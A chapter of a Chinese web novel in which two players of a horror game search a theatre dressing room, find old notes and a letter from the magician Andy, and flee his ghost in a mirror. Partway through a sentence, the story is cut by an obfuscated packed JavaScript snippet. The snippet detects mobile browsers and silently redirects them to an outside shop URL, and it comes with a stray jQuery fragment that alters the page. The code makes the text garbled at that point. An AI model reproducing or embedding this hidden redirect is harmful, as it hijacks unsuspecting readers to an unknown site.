祁安认为,自己的分析并没有错。
搜集信息,从来不能局限于个人,也不能停留于片面。一个完整的剧本,不会只有男一女一绽放于聚光灯下——加入了龙套、配角,一部戏才会变的完整;细枝末节的信息拼凑在一起,才能还原出完整的故事线。
现在的操作,不仅是为了破除眼下的迷雾;更是为了未来期待的GoodEnding。
从之前发生的种种事迹中看,许月不傻;祁安希望,她能理解自己的意思。
果然,在听到祁安这样说之后,许月的表情立刻变的严肃起来。
已经到了现在这一步,也再无需多言了。
“两个房间,分开找速度快一点。”
看着所处的大型化妆间桌面上淡淡的一层灰尘,许月皱了皱眉,轻车熟路的取出一副白色手套带上。
“我在外面;里面还有一个房间,你去看一下吧。”
看着她的动作,祁安愣了一下,旋即哑然失笑:“……好,我去里面。”
说实话,他并不在意搜证地点怎么分配——都在一个地方,信息量也不会差太多。许月刚才的动作意义很明显;她不想沾染太多灰尘,特别是在这种看起来很久没用的化妆室。按日常使用习惯来说,如果这里本身就是备用室,里面的环境可能比外面还要糟糕。也难怪她不想进去。
毕竟,正常人谁会随身携带手套啊……祁安估计,自己这位干净利落的队友恐怕有非常严重的洁癖。
不过,他倒是乐意迁就她;毕竟这没有触犯到自己的核心利益。
说不定,就是在这种更深入而不起眼的环境内,会有更具价值的线索;
毕竟,就算是在现实,有时也只有深夜打着探灯,徘徊于常人不涉足的领域,才会照见真相。
祁安小心翼翼地打开木质的板门,流动的空气扬起地面一层浮灰。
这一个大化妆室里,套了一个小化妆室。不算大的空间内,整整齐齐排了三列化妆桌椅,却没有显得特别拥挤;按自己在剧院呆过的经验来看,这种房间,极大可能性是为每场表演的主角准备的。
主演化妆间?
手指轻抚过化妆台,他抬起那两根手指,祁安便皱起了眉头。确实不对劲。
应该说很不对劲。作为演员涂脂搽粉、打扮遮瑕的化妆间,重中之重的化妆台上,竟然连一丝妆造的痕迹都没有。与其说是化妆室,还不如说这是休息室。
桌面很干净,但就是这干净的已经超出了正常的范围——要知道,演员们在装扮时,多多少少都会留下一些印记。而在剧院后场,很大的场地,清理往往不会非常及时,有些便会被保留下来。桌面绝对不会一点痕迹都留不下来。
更别说这个化妆间里里外外都像是人多时才启用的备用化妆间。
这未免……有些太奇怪了。
祁安俯下身看向化妆台底下的收纳阁,不由得怔住了——里面落满了灰尘,与表面的光鲜亮丽形成鲜明对比。
这抽屉的样子,才像是他想象中该有的模样。但表面无尘,内里肮脏……这完全反了常识。
要知道,灰会先落于接触面更大的表层,而绝非有上部遮挡物的内夹层。
除非是有人定期清理。但又是什么人,会刻意的留着内里不清理?
这里的清洁人员已经退化到这种层次了吗?
他伸出手去,却在里面摸到了一张纸条一样的东西。眸色微凝,祁安迅速的抽手,一张有些泛黄的字条被他抽了出来。
这东西……看起来有一些年头了啊?
纸条很脆弱,薄薄的一层,但边缘却意外的平整,只留有一些毛边,好像是从什么上面撕下来的。小心地展开,清秀的两行小字映入他的眼帘——字迹不同,是两个人写的对话。
“致小Q:我们舞蹈团后天要上场了,咱们终于能在这个舞台一展身手啦!没看到你就先走了,记得来排练哦~——小X”
“致小X:排练时间不一样,我已经提前回了,你回去晚记得注意,最近那些传闻太可怕啦。——小Q”
短短两句对话,却让祁安心中一颤。
他迅速的将所有的抽屉都摸了一遍,几乎每一个抽屉里,都有一两张被厚厚的尘埃掩埋的纸条;抽出来的纸条颜色深浅相似,都在纸张原本的白色中泛出陈旧的米色,甚至大小、长度都几乎相同。这些字条没有日期,信息也很零碎,有的是人的对话,有的是人员留言;但无一例外,都指向一个共同的主题。
——独属于黄昏剧院的、特定时段的坊间传闻。
在剧院来来往往的表演人员中,似乎有一种说不清道不明的恐惧正在蔓延。
而那引起一切的传说,就是剧院中的鬼影。
有的纸条上说——就在那些人员呆在剧院时,经常有若隐若现的鬼影在剧院中游荡。
祁安将这些纸条拢在一起,俯下身去摸最后一个抽屉;但这一次,他没有摸到纸条,而是感觉到了一种更硬的触感。
眸光微沉,他将那个东西抽了出来。是一个类似于稍硬卡纸制作的信封。
而其上的署名,则是他已经极度熟捻的名字,当看到时,他的心头都有一瞬间的震颤。
——“安迪·艾维斯”。
为什么这里会有安迪的物证?
祁安定了定神,往信封里面看去。崭新的外壳里放着一张薄薄的信纸,与前面的纸条不同,这次搜到的证据不是零碎的文字或缄语,而是完整的留言信件。
当展开这张写满文字的雪白纸页时,一行行端正有力的钢笔字在他眼前缓缓铺陈开来。
“我是安迪,四海流浪的魔术师;追求卓越的逐梦者。
……被命运戏弄的苦命人。
我并非长期停驻化妆间的专业演员,将这份文字放在这里,只是想给予后来人一个提醒。
一份……来自过去的警告。”
墨水的字迹笔锋硬朗,此刻却如同刀尖一般扎在祁安的心上,“警告”两字,在这白纸黑字间显得格外刺眼。
何为警醒?又为何来自于过去?
目光略有停顿,他继续向下阅读。但看的越多,祁安的脸色就愈是变得复杂起来。
“新历1年1月12日,我刚刚结束在达摩克利斯的演出,助理罗伯特就跟了过来。尽管脸上有疲惫,但不同于往常,他那日异常兴奋。
他挥舞着手里的一封信件,告诉我,我们向黄昏剧院申请的展演已经通过。
这个消息实在是过于惊喜,让当时的我甚至身体都有些经不住的颤栗。
我清楚的知道,自己职业生涯的转折点,即将到来。
新历1年1月24日,我完成了小城的最后一次巡演,便坐火车来到了这里。
不愧是大城市,人来人往的街道、车水马龙的喧嚣,规模之大,幅员之广,建筑光影的色彩斑斓,都是我以前没有看到过的。
罗伯特说,这里是如今行当中众多名角的温床,是通往更高层次的天梯;娱乐是这座城市雄起的过去,也是它供奉的未来,是它永恒的基调。
在如此的环境下,我必能一展宏图。
我的表演,定在了2月6日的清晨;黎明之际,除夕夜之后,新年来临之前。
为了这场表演,我基本拼上了一切:时间,金钱,交际……将我的所有,都献给了这场即将上演的开幕。
晨星娱乐公司找上了我,希望我能加入他们。
可我已经单干习惯了,实在是不想被合同束缚住,闹得不欢而散。
哎,只能说……可能是最近脾气确实不太好吧。
怎么会?从未出现过的,我的彩排开始频频出现错误,道具错位、失踪,甚至差点出现重大翻车事故。
问了罗伯特,他却懵懵的告诉我自己已经做好了所有的准备;我也确实亲眼看到,他将所有我需要的道具都搬上了舞台
作为合作了这么长时间的搭档,我对他的信任不可置否。但……我表演的东西还是会离奇消失。
为什么?
我不想失败,我也不能失败。
今天是新历1年1月30日,我也即将结束这份记录的书写。
未来的人呵,请记住:黄昏剧院不是久留之地。
眼睛窥见的未必是真实,小心所有你看到的一切。
我们之间出现了魔鬼。
这里不是天堂,所见皆为伪装成云朵的地狱火光。
——安迪·艾维斯“
日志很长,但停留在了1月30日的注脚上,这一面剩下的皆是空白,再无文字。
板正的字迹随着时间的推移也逐渐凌乱,笔画也变得潦草起来。他似乎有什么难言之隐穿梭于字里行间,但却被硬生生的控在了笔尖。
与其说,这是一份他留给未来人的礼物,一份对自己人生的书写……
倒不必说,这更像是一篇绝命书。
【玩家「祁安」获得史诗级线索:来自安迪的信(1/2)
奖励积分:1000】
祁安:?
这居然还有奖励?
但为何系统,这只是二分之一……那另一份,又会在哪里?
祁安下意识地将纸举起对准灯光,希望看看有没有隐藏的字迹。里面化妆间的灯大概是年久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891520|212759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
失修,光线有些昏暗。但当纸页对准光源聚焦时,背面字迹的轮廓依旧在在单薄的白纸上勾勒出来。
——等等。
刚才自己打开这张折叠的信纸的时候,背面有字吗?
心骤然一坠,祁安迅速将纸翻到背面,狰狞的血色文字骤然映入他的眼帘;书写者已然癫狂,笔记纷乱,触目惊心。
——“我在这里的团队之中,混入了外来者。”
“不要走。我看到你了……
你,能看到我吗?”
阴风绕梁,拂过他的耳畔。
祁安猛的抬起头。眼前的镜子里,赫然映出一个金发蓝瞳的男子;面容憔悴,双目无神,清晰的倒映在他的眼眸中。
他向祁安缓缓伸出手,语调低沉嘶哑,恍若断裂的琴弦摩擦:
“罗伯特……
你,找到外来者了吗?”
祁安与他对视上,看见了安迪眼中隐隐约约的斑白之障。
像是死去之人,眼睛蒙上的白翳。
静了一刻,一抹银白色便直直的击打在镜面之上,在“砰”的一声巨响中,完整的圆镜瞬间变成四分五裂的碎块。
祁安神色漠然的收回自己的刀具,随后……
转身就跑。
在他的身后,传来整齐划一的低沉呢喃声。
安迪的声音不轻不重,祁安也听不清具体的话语,里面的内容是什么。
但,每一个音节,都好像精准敲击在他大脑中主管思维部分最薄弱的位置上,接连不断的呓语听久了,会让让人感到不住的头晕脑胀。
——如同催命的咏叹调。
这玩意……有精神污染吧?
祁安咬咬牙,抬起胳膊,用力在小臂上咬了一口。力道很重,以至于伤口处直接渗出了殷红的鲜血,而这短暂的疼痛也让他从晕眩中惊醒过来,加快了脚下的步伐。
他像一阵飓风一样迅速穿过化妆台进入主演化妆间;许月正在其中,手里拿着一张表格,对着自己的手机皱眉沉思。转头看见祁安,她脸上浮现出惊讶。
“怎么了?刚刚听见里面有声音,你…………”
下一秒,祁安狠狠拍了一下她的肩,从她身边跑过冲向后门。他的声音前所未有的凌厉,随着移形刮起的风吹进她的耳朵。
“还愣着干嘛?快走!
安迪的鬼影马上追上来了!”
到了此刻,内间重重叠叠的污染性声浪便已涌至门前,安迪瘦削的影子亦逐渐在主演化妆间的镜子中晕染出来。
?
许月脸色一肃,她稍稍俯身蓄力,便如离弦之箭一般疾掠而出,走之前还不忘用力带上了门,发出“砰”的一声巨响,在廊道里回荡。
她追着祁安跑出房间,进入走廊。
“怎么回事?”许月看着身旁的祁安,脸色凝重。
祁安没有说谎;刚刚时间紧急,虽然她只来的及用余光看了一眼便被迫离开,虽然由于她的身份,在之前的剧目中也只看过安迪的照片,但那镜子中的身影她不会认错,也不可能认错。
毕竟,安迪的那张脸太具有标志性了。
可他出现的时机实在是太奇怪了,甚至之前一点征兆都没有。
确认已经远离了那个诡异的房间,并且周围没有了可供显影的反射面,祁安方才慢慢停下了脚步,扶着墙轻轻的喘着气,额前已经沁出了些许汗珠。
他的眼中亦尽是茫然。
“我也不知道……”
听到他说这话,许月微微皱起了眉头,怀疑的看着他。
“一切都发生的太快了。我刚刚获得线索,他便出现在了镜子里……”
仿佛……就在一瞬间,我不知道他怎么出现的,也根本来不及思索,只知道打碎镜子后赶紧离开,然后通知你。”
白光一闪,一叠不同颜色的便条出现在他的手中,祁安那缕白发下的眼眸中闪烁着真挚。“喏,就是这个。”
“上面……可能记载了一些关于剧本深层逻辑的关键线索。”
“深层线索么……”
许月接过字条,有些诧异地看向眼前这个不过二十岁出头的少年:“这么散的物证,你居然立刻就排查出其中的信息了?”
祁安摊了摊手:“早就有先贤说过——隐秘之处,必有蹊跷。我也只是根据这个原理去摸索了一下,没想到真的有。”
说着,他还腼腆的笑了笑,但却忽然轻叹道:
“不过我能力有限,在这么短的时间内只能大致确定这个跟剧本整体的主线有关。其他的……可能还需要你们帮忙复盘一下。”
他眼中闪过几丝无奈。